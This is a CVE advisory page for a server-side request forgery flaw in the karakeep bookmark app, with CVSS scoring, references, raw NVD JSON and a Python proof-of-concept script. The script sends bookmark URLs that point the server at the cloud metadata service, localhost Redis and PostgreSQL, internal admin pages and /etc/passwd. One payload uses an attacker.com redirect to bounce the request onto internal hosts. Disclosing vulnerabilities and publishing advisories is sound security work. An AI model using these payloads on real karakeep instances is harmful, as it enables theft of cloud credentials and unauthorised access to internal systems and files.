CVE-2025-60540

Description

karakeep v0.26.0 to v0.7.0 was discovered to contain a Server-Side Request Forgery (SSRF).

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

karakeep >= v0.7.0

karakeep <= v0.26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-60540 - karakeep SSRF PoC
# This PoC demonstrates the SSRF vulnerability in karakeep v0.26.0 - v0.7.0
# By submitting a crafted URL through the bookmark/link saving functionality,
# the server-side will fetch the URL without proper validation.

import requests

TARGET_URL = "http://target-karakeep-instance:3000"
API_ENDPOINT = "/api/v1/bookmarks"  # Adjust based on actual API path
AUTH_TOKEN = "YOUR_AUTH_TOKEN"  # If authentication is required

# Malicious URLs to test SSRF
ssrf_payloads = [
    # Cloud metadata service (AWS)
    "http://169.254.169.254/latest/meta-data/",
    # Localhost access
    "http://127.0.0.1:6379/",  # Redis
    "http://127.0.0.1:5432/",  # PostgreSQL
    # Internal network scan
    "http://192.168.1.1/admin",
    # File protocol (if supported)
    "file:///etc/passwd",
    # Bypass via redirect
    "http://attacker.com/redirect-to-internal",
]

headers = {
    "Content-Type": "application/json",
    "Authorization": f"Bearer {AUTH_TOKEN}"
}

for payload_url in ssrf_payloads:
    data = {
        "url": payload_url,
        "title": "Test Bookmark"
    }
    response = requests.post(f"{TARGET_URL}{API_ENDPOINT}", json=data, headers=headers)
    print(f"[*] Payload: {payload_url}")
    print(f"[*] Status: {response.status_code}")
    print(f"[*] Response: {response.text[:500]}")
    print("-" * 60)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60540/
[4] VulDB https://vuldb.com/cve/CVE-2025-60540
[5] https://github.com/karakeep-app/karakeep/
[6] https://github.com/vityuasd/VulList/blob/main/CVE-2025-60540.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60540", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:51.373", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "karakeep v0.26.0 to v0.7.0 was discovered to contain a Server-Side Request Forgery (SSRF)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/karakeep-app/karakeep/", "source": "[email protected]"}, {"url": "https://github.com/vityuasd/VulList/blob/main/CVE-2025-60540.md", "source": "[email protected]"}]}}